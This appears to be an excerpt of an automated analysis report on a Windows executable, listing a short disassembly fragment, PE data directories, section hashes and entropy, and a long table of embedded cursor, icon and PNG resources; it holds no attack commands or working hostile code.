mov ecx, dword ptr [005E4AB6h]
dec eax
mov eax, dword ptr [005E4AAFh]
dec eax
mov eax, dword ptr [eax]
call dword ptr [eax+000001E8h]
dec esp
lea eax, dword ptr [009AC95Fh]
dec eax
mov ecx, dword ptr [005E4A98h]
dec eax
lea edx, dword ptr [0066F929h]
call 00007F0B54BE2C71h
dec esp
lea eax, dword ptr [009ACBD5h]
dec eax
mov ecx, dword ptr [005E4A7Eh]
dec eax
lea edx, dword ptr [0067D8A7h]
call 00007F0B54BE2C57h
dec esp
lea eax, dword ptr [009ACABBh]
dec eax
mov ecx, dword ptr [00000000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9ca000	0xf0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9cf000	0x7b4052	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x94f000	0x5d99c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1162e00	0x938	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5e6070	0x28	.data
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9cb138	0x1048	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e4890	0x5e4a00	15048f99246b3103cf1a094812c6be60	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x5e6000	0x7f624	0x7f800	04dc067aca24148b6badf21f4880b783	False	0.5578182444852942	DOS executable (block device driver)	6.338975821321393	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x666000	0x2e82dc	0x2e8400	703251b2fb8e919187eb6893f203c3fa	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x94f000	0x5d99c	0x5da00	c7be05cc7639db76c46a146456b44e20	False	0.5105374874833111	data	6.46474710165666	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x9ad000	0x1b458	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x9c9000	0x18	0x200	caaccb6f88100938b328d46db354419f	False	0.03515625	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x9ca000	0x44a2	0x4600	e20ecdd239f673b5f32d56733490c7ca	False	0.25100446428571427	data	4.348206593435725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9cf000	0x7b4052	0x7b4200	4b4b12e5b75ec3edbf08409a9b5b1310	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
HQTO	0x9d6a80	0x6f6252	PNG image data, 2992 x 2913, 8-bit/color RGB, non-interlaced	English	United States	0.9997720718383789
RT_CURSOR	0x10cccd4	0x134	data			0.12012987012987013
RT_CURSOR	0x10cce08	0x134	data			0.2305194805194805
RT_CURSOR	0x10ccf3c	0x134	data			0.4935064935064935
RT_CURSOR	0x10cd070	0x334	data			0.24634146341463414
RT_CURSOR	0x10cd3a4	0x434	data			0.24814126394052044
RT_CURSOR	0x10cd7d8	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.5
RT_CURSOR	0x10cd90c	0x334	data			0.24634146341463414
RT_CURSOR	0x10cdc40	0x434	Targa image data 128 x 65536 x 1 +64 "\001"			0.24349442379182157
RT_CURSOR	0x10ce074	0x134	data			0.36688311688311687
RT_CURSOR	0x10ce1a8	0x334	data			0.2146341463414634
RT_CURSOR	0x10ce4dc	0x434	data			0.18680297397769516
RT_CURSOR	0x10ce910	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.36688311688311687
RT_CURSOR	0x10cea44	0x334	Targa image data - RLE 96 x 65536 x 1 +48 "\001"			0.20609756097560974
RT_CURSOR	0x10ced78	0x434	Targa image data - Color 128 x 65536 x 1 +64 "\001"			0.17657992565055763
RT_CURSOR	0x10cf1ac	0x134	data			0.5844155844155844
RT_CURSOR	0x10cf2e0	0x334	data			0.3
RT_CURSOR	0x10cf614	0x434	data			0.2983271375464684
RT_CURSOR	0x10cfa48	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.42857142857142855
RT_CURSOR	0x10cfb7c	0x334	data			0.2280487804878049
RT_CURSOR	0x10cfeb0	0x434	Targa image data 128 x 65536 x 1 +64 "\001"			0.23513011152416358
RT_CURSOR	0x10d02e4	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.5
RT_CURSOR	0x10d0418	0x334	data			0.24634146341463414
RT_CURSOR	0x10d074c	0x434	Targa image data 128 x 65536 x 1 +64 "\001"			0.24349442379182157
RT_CURSOR	0x10d0b80	0x134	data			0.2662337662337662
RT_CURSOR	0x10d0cb4	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38311688311688313
RT_CURSOR	0x10d0de8	0x134	data			0.3538961038961039
RT_CURSOR	0x10d0f1c	0x134	data	Serbian	Italy	0.34415584415584416
RT_BITMAP	0x10d1050	0x908	Device independent bitmap graphic, 50 x 24 x 8, image size 1248	Portuguese	Brazil	0.28027681660899656
RT_ICON	0x10d1958	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	Portuguese	Brazil	0.5013440860215054
RT_ICON	0x10d1c40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152			0.621841155234657
RT_DIALOG	0x10d24e8	0x32	data			0.76
RT_RCDATA	0x10d251c	0x111	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0
RT_RCDATA	0x10d2630	0x11f	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			0.9930313588850174
RT_RCDATA	0x10d2750	0x139	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			0.9904153354632588
RT_RCDATA	0x10d288c	0x163	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0225352112676056
RT_RCDATA	0x10d29f0	0x1dc	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.023109243697479
RT_RCDATA	0x10d2bcc	0x274	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.017515923566879
RT_RCDATA	0x10d2e40	0x1ef	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0222222222222221
RT_RCDATA	0x10d3030	0x2ea	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0147453083109919
RT_RCDATA	0x10d331c	0x377	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.012401352874859
RT_RCDATA	0x10d3694	0x175	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0
RT_RCDATA	0x10d380c	0x173	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0080862533692723
RT_RCDATA	0x10d3980	0x1f2	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0140562248995983
RT_RCDATA	0x10d3b74	0x194	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0222772277227723
RT_RCDATA	0x10d3d08	0x1d4	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0235042735042734
RT_RCDATA	0x10d3edc	0x22c	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0197841726618706
RT_RCDATA	0x10d4108	0x2c8	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0154494382022472
RT_RCDATA	0x10d43d0	0x41e	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0104364326375712
RT_RCDATA	0x10d47f0	0x528	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0083333333333333
RT_RCDATA	0x10d4d18	0x139	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0191693290734825
RT_RCDATA	0x10d4e54	0x142	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0279503105590062
RT_RCDATA	0x10d4f98	0x1a1	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.026378896882494
RT_RCDATA	0x10d513c	0x167	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0222841225626742
RT_RCDATA	0x10d52a4	0x1b9	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.018140589569161
RT_RCDATA	0x10d5460	0x1dd	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0230607966457024
RT_RCDATA	0x10d5640	0x132	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.022875816993464
RT_RCDATA	0x10d5774	0x180	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0286458333333333
RT_RCDATA	0x10d58f4	0x17c	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0289473684210526
RT_RCDATA	0x10d5a70	0x139	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0191693290734825
RT_RCDATA	0x10d5bac	0x142	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0279503105590062
RT_RCDATA	0x10d5cf0	0x1a1	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.026378896882494
RT_RCDATA	0x10d5e94	0x1f3	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0220440881763526
RT_RCDATA	0x10d6088	0x2f7	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0144927536231885
RT_RCDATA	0x10d6380	0x3c0	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0114583333333333
RT_RCDATA	0x10d6740	0x288	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0169753086419753
RT_RCDATA	0x10d69c8	0x41f	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0104265402843602
RT_RCDATA	0x10d6de8	0x58b	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0077519379844961
RT_RCDATA	0x10d7374	0x2a1	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0163447251114412
RT_RCDATA	0x10d7618	0x40a	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0106382978723405
RT_RCDATA	0x10d7a24	0x58e	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0077355836849509
RT_RCDATA	0x10d7fb4	0x29f	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0163934426229508
RT_RCDATA	0x10d8254	0x3f8	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0108267716535433
RT_RCDATA	0x10d864c	0x587	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.007773851590106
RT_RCDATA	0x10d8bd4	0x12c	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0166666666666666
RT_RCDATA	0x10d8d00	0x177	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0293333333333334
RT_RCDATA	0x10d8e78	0x195	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0271604938271606
RT_RCDATA	0x10d9010	0x228	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.019927536231884
RT_RCDATA	0x10d9238	0x326	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0136476426799008
RT_RCDATA	0x10d9560	0x3c6	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0113871635610765
RT_RCDATA	0x10d9928	0x12c	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0166666666666666
RT_RCDATA	0x10d9a54	0x177	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0293333333333334
RT_RCDATA	0x10d9bcc	0x195	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0271604938271606
RT_RCDATA	0x10d9d64	0x31b	PNG image data, 16 x 16, 8-bit/color RGBA, interlaced			1.0138364779874214
RT_RCDATA	0x10da080	0x4c8	PNG image data, 24 x 24, 8-bit/color RGBA, interlaced			1.0089869281045751
RT_RCDATA	0x10da548	0x70d	PNG image data, 32 x 32, 8-bit/color RGBA, interlaced			1.0060941828254848
RT_RCDATA	0x10dac58	0xe9	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			0.9828326180257511
RT_RCDATA	0x10dad44	0x10d	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			0.9814126394052045
RT_RCDATA	0x10dae54	0x11c	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0035211267605635
RT_RCDATA	0x10daf70	0x258	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0183333333333333
RT_RCDATA	0x10db1c8	0x320	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.01375
RT_RCDATA	0x10db4e8	0x3f6	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0108481262327416
RT_RCDATA	0x10db8e0	0x176	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0133689839572193
RT_RCDATA	0x10dba58	0x1a2	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.014354066985646
RT_RCDATA	0x10dbbfc	0x1ca	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0240174672489082
RT_RCDATA	0x10dbdc8	0x171	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.018970189701897
RT_RCDATA	0x10dbf3c	0x1a3	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0214797136038185
RT_RCDATA	0x10dc0e0	0x1c4	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0243362831858407
RT_RCDATA	0x10dc2a4	0x193	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.022332506203474
RT_RCDATA	0x10dc438	0x1b2	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0069124423963134
RT_RCDATA	0x10dc5ec	0x1e0	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			0.9979166666666667
RT_RCDATA	0x10dc7cc	0x151	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0089020771513353
RT_RCDATA	0x10dc920	0x174	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0080645161290323
RT_RCDATA	0x10dca94	0x192	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0124378109452736
RT_RCDATA	0x10dcc28	0x1b5	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0251716247139588
RT_RCDATA	0x10dcde0	0x27d	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0172684458398744
RT_RCDATA	0x10dd060	0x3ae	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0116772823779194
RT_RCDATA	0x10dd410	0x14c	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0060240963855422
RT_RCDATA	0x10dd55c	0x170	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0054347826086956
RT_RCDATA	0x10dd6cc	0x18f	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0275689223057645
RT_RCDATA	0x10dd85c	0x37d	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0123180291153415
RT_RCDATA	0x10ddbdc	0x554	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0080645161290323
RT_RCDATA	0x10de130	0x632	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0069356872635562
RT_RCDATA	0x10de764	0x15b	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0172910662824208
RT_RCDATA	0x10de8c0	0x19c	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0218446601941749
RT_RCDATA	0x10dea5c	0x216	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0205992509363295
RT_RCDATA	0x10dec74	0x717	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.006060606060606
RT_RCDATA	0x10df38c	0xc40	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0035076530612246
RT_RCDATA	0x10dffcc	0x1170	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced			1.002464157706093
RT_RCDATA	0x10e113c	0x625	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.006993006993007
RT_RCDATA	0x10e1764	0xa3b	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0042000763650247
RT_RCDATA	0x10e21a0	0xecf	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced			1.002901609074123
RT_RCDATA	0x10e3070	0x63e	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.006883604505632
RT_RCDATA	0x10e36b0	0xa70	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0041167664670658
RT_RCDATA	0x10e4120	0xf48	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced			1.0028118609406953
RT_RCDATA	0x10e5068	0x5d7	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0073578595317725
RT_RCDATA	0x10e5640	0x938	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0046610169491526
RT_RCDATA	0x10e5f78	0xd2e	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced			1.0032602252519265
RT_RCDATA	0x10e6ca8	0x38e	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.012087912087912
RT_RCDATA	0x10e7038	0x561	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0079883805374001
RT_RCDATA	0x10e759c	0x7a1	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced			1.0056323604710702
RT_RCDATA	0x10e7d40	0x237	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0194003527336861
RT_RCDATA	0x10e7f78	0x36b	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0125714285714287
RT_RCDATA	0x10e82e4	0x475	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0096406660823838
RT_RCDATA	0x10e875c	0x223	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0201096892138939
RT_RCDATA	0x10e8980	0x314	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.013959390862944
RT_RCDATA	0x10e8c94	0x3a4	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.011802575107296
RT_RCDATA	0x10e9038	0x1ff	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0215264187866928
RT_RCDATA	0x10e9238	0x308	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0141752577319587
RT_RCDATA	0x10e9540	0x438	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.010185185185185
RT_RCDATA	0x10e9978	0x1ec	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0223577235772359
RT_RCDATA	0x10e9b64	0x2b2	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0159420289855072
RT_RCDATA	0x10e9e18	0x3a9	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0117395944503735
RT_RCDATA	0x10ea1c4	0x225	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0200364298724955
RT_RCDATA	0x10ea3ec	0x2a1	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0163447251114412
RT_RCDATA	0x10ea690	0x3dd	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0111223458038423
RT_RCDATA	0x10eaa70	0x4cf	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0089358245329
RT_RCDATA	0x10eaf40	0x2bf	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0156472261735419
RT_RCDATA	0x10eb200	0x3ea	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0109780439121756
RT_RCDATA	0x10eb5ec	0x4d5	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0088924818108327
RT_RCDATA	0x10ebac4	0x2cb	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0153846153846153
RT_RCDATA	0x10ebd90	0x306	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0142118863049097
RT_RCDATA	0x10ec098	0x16e	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.030054644808743
RT_RCDATA	0x10ec208	0x1fd	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0216110019646365
RT_RCDATA	0x10ec408	0x2ac	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0160818713450293
RT_RCDATA	0x10ec6b4	0x21a	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.020446096654275
RT_RCDATA	0x10ec8d0	0x2f4	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0145502645502646
RT_RCDATA	0x10ecbc4	0x420	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0104166666666667
RT_RCDATA	0x10ecfe4	0x230	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.019642857142857
RT_RCDATA	0x10ed214	0x2a3	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0162962962962963
RT_RCDATA	0x10ed4b8	0x3bd	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0114942528735633
RT_RCDATA	0x10ed878	0x547	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.008142116950407
RT_RCDATA	0x10eddc0	0x2ae	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0160349854227406
RT_RCDATA	0x10ee070	0x3dd	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0111223458038423
RT_RCDATA	0x10ee450	0x55a	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.008029197080292
RT_RCDATA	0x10ee9ac	0x2ff	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.014341590612777
RT_RCDATA	0x10eecac	0x3ef	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0109235352532273
RT_RCDATA	0x10ef09c	0xd7	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			0.986046511627907
RT_RCDATA	0x10ef174	0x11b	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			0.9964664310954063
RT_RCDATA	0x10ef290	0xf9	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0
RT_RCDATA	0x10ef38c	0x1c4	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0243362831858407
RT_RCDATA	0x10ef550	0x2e4	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0148648648648648
RT_RCDATA	0x10ef834	0x367	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0126291618828933
RT_RCDATA	0x10efb9c	0x1c8	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0241228070175439
RT_RCDATA	0x10efd64	0x2ab	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0161054172767203
RT_RCDATA	0x10f0010	0x2ef	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.014647137150466
RT_RCDATA	0x10f0300	0x26d	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0177133655394526
RT_RCDATA	0x10f0570	0x3e6	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0110220440881763
RT_RCDATA	0x10f0958	0x5a0	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.007638888888889
RT_RCDATA	0x10f0ef8	0x2fb	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0144167758846658
RT_RCDATA	0x10f11f4	0x52b	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0083144368858654
RT_RCDATA	0x10f1720	0x6c8	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.006336405529954
RT_RCDATA	0x10f1de8	0x236	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.019434628975265
RT_RCDATA	0x10f2020	0x347	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0131108462455305
RT_RCDATA	0x10f2368	0x3f9	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0108161258603736
RT_RCDATA	0x10f2764	0x148	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0152439024390243
RT_RCDATA	0x10f28ac	0x174	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0134408602150538
RT_RCDATA	0x10f2a20	0x192	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0199004975124377
RT_RCDATA	0x10f2bb4	0x135	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			0.9935275080906149
RT_RCDATA	0x10f2cec	0x1c8	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.019736842105263
RT_RCDATA	0x10f2eb4	0x259	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0183028286189684
RT_RCDATA	0x10f3110	0x2f6	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0145118733509235
RT_RCDATA	0x10f3408	0x477	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0096237970253719
RT_RCDATA	0x10f3880	0x5d5	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0073677160080374
RT_RCDATA	0x10f3e58	0x155	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0117302052785924
RT_RCDATA	0x10f3fb0	0x1b2	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0253456221198156
RT_RCDATA	0x10f4164	0x20e	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.020912547528517
RT_RCDATA	0x10f4374	0xf8	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0
RT_RCDATA	0x10f446c	0x131	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0065573770491802
RT_RCDATA	0x10f45a0	0x139	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0095846645367412
RT_RCDATA	0x10f46dc	0x190	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0225
RT_RCDATA	0x10f486c	0x25e	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.018151815181518
RT_RCDATA	0x10f4acc	0x340	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0132211538461537
RT_RCDATA	0x10f4e0c	0x2e0	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.014945652173913
RT_RCDATA	0x10f50ec	0x453	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.009936766034327
RT_RCDATA	0x10f5540	0x5c0	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0074728260869565
RT_RCDATA	0x10f5b00	0xa6	PNG image data, 9 x 9, 8-bit/color RGBA, non-interlaced			0.963855421686747
RT_RCDATA	0x10f5ba8	0xc6	PNG image data, 13 x 13, 8-bit/color RGBA, non-interlaced			0.9696969696969697
RT_RCDATA	0x10f5c70	0xcb	PNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced			0.9802955665024631
RT_RCDATA	0x10f5d3c	0x16f	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0190735694822888
RT_RCDATA	0x10f5eac	0x194	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0198019801980198
RT_RCDATA	0x10f6040	0x243	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0189982728842832
RT_RCDATA	0x10f6284	0x108	PNG image data, 8 x 8, 8-bit/color RGBA, non-interlaced			1.0
RT_RCDATA	0x10f638c	0x162	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced			1.0141242937853108
RT_RCDATA	0x10f64f0	0x17d	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.020997375328084
RT_RCDATA	0x10f6670	0x1b1	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced			1.0184757505773672
RT_RCDATA	0x10f6824	0x23f	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced			1.0191304347826087
RT_RCDATA	0x10f6a64	0x12d	PNG image data, 8 x 8, 8-bit/color RGBA, non-interlaced			1.0066445182724253
